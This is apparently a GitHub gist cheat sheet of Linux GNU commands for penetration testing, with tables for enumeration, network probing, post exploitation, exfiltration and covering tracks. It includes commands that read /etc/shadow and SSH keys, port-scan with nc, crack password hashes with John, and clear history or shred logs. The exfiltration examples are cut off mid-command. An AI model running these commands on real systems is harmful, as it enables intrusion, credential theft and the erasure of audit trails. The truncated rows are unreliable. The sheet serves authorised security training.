Linux Penetration Testing with GNU Utils: The Ultimate Cheat Sheet

gistfile1.md

🐧 Linux Penetration Testing with GNU Utils: The Ultimate Cheat Sheet

DISCLAIMER: This information is for educational purposes only. Always obtain proper authorization before performing any penetration testing activities. Unauthorized testing is illegal and unethical.

🔍 Information Gathering

Command	Description	Example
netstat	🌐 Network connections, routing tables, interface statistics	netstat -tuln
ss	🔌 Socket statistics	ss -tuln
ip	🖧 Show / manipulate routing, devices, policy routing and tunnels	ip addr show
arp	📟 Manipulate the system ARP cache	arp -e
dig	🔍 DNS lookup utility	dig example.com

💻 System Enumeration

Command	Description	Example
uname	💻 Print system information	uname -a
lsof	📂 List open files	lsof -i
ps	📊 Report process status	ps aux
who	👥 Show who is logged on	who
w	👀 Show who is logged on and what they are doing	w

🔓 File and Directory Operations

Command	Description	Example
find	🔎 Search for files in a directory hierarchy	find / -perm -4000 2>/dev/null
grep	🔍 Search file patterns	grep -r "password" /etc/
sed	🔄 Stream editor for filtering and transforming text	sed -i 's/old/new/g' file.txt
awk	🔧 Pattern scanning and processing language	awk -F: '{print $1}' /etc/passwd

🔐 User and Permission Management

Command	Description	Example
id	🆔 Print user and group information	id
sudo	🔑 Execute a command as another user	sudo -l
su	👤 Change user ID or become superuser	su - username
chmod	🔒 Change file mode bits	chmod 600 file.txt
chown	👑 Change file owner and group	chown user:group file.txt

🌐 Network Probing

Command	Description	Example
ping	📡 Send ICMP ECHO_REQUEST to network hosts	ping -c 4 192.168.1.1
traceroute	🗺️ Print the route packets trace to network host	traceroute example.com
nc	🔌 TCP/IP swiss army knife	nc -zv 192.168.1.1 1-1000
curl	🌐 Transfer data from or to a server	curl -I http://example.com
wget	📥 Non-interactive network downloader	wget http://example.com/file.txt

📡 Simple Servers

Command	Description	Example
python -m SimpleHTTPServer	🌐 Start a simple HTTP server	python -m SimpleHTTPServer 8000
nc -l	👂 Create a simple listening server	nc -l -p 8000

🔬 Post Exploitation

Command	Description	Example
cat /etc/passwd	👥 View user accounts	cat /etc/passwd
cat /etc/shadow	🔑 View password hashes (requires root)	cat /etc/shadow
cat /etc/group	👥 View groups	cat /etc/group
ls -la /etc/cron*	⏰ List cron jobs	ls -la /etc/cron*
ls -la ~/.ssh/	🔑 List SSH keys	ls -la ~/.ssh/
history	📜 View command history	history

📡 Data Exfiltration

Command	Description	Example
tar	📦 Create a tarball	`tar czf - /important
dd	💾 Convert and copy a file	`dd if=/dev/sda
base64	🔡 Base64 encode/decode data	`base64 secretfile

🧹 Covering Tracks

Command	Description	Example
history -c	🧽 Clear bash history	history -c
echo "" > ~/.bash_history	🧼 Clear bash history file	echo "" > ~/.bash_history
shred	🔥 Overwrite a file to hide its contents	shred -zu access.log
unset HISTFILE	🚫 Disable bash history	unset HISTFILE

🔄 Useful One-Liners

# 🔍 Find all SUID executables
find / -perm -4000 -type f 2>/dev/null

# 🔎 Find writable directories
find / -writable -type d 2>/dev/null

# 🌐 Scan for open ports
for p in {1..65535}; do nc -zv 192.168.1.1 $p 2>&1 | grep -v 'Connection refused'; done

# 🔑 Generate a wordlist from website
curl http://example.com | grep -oE '\w+' | sort -u > wordlist.txt

# 👥 Extract usernames from /etc/passwd
awk -F: '{print $1}' /etc/passwd

# 📶 Monitor network traffic
tcpdump -i eth0 -nn -s0 -v port 80

# 🔓 Crack /etc/shadow passwords with John (if installed)
unshadow /etc/passwd /etc/shadow > mypasswd && john mypasswd

🏆 Pro Tips

1. 🔧 Master text manipulation tools like sed, awk, and grep.
2. 📚 Familiarize yourself with /proc filesystem for live system information.
3. 🔐 Use openssl for encryption/decryption when needed.
4. 📡 Leverage bash built-ins for network operations when other tools aren't available.
5. 🧠 Combine commands with pipes (|) for powerful operations.
6. 🔍 Use command substitution ($(command)) to use output of one command as arguments for another.
7. 📜 Create simple scripts to automate repetitive tasks.
8. 🔐 Always clean up after your testing activities.
9. 📚 Study man pages to discover lesser-known features of GNU utilities.
10. 🧪 Practice in a controlled environment before real-world application.

Remember, these tools should only be used ethically and with explicit permission. Always respect legal and ethical boundaries in your security testing. 🛡️🔓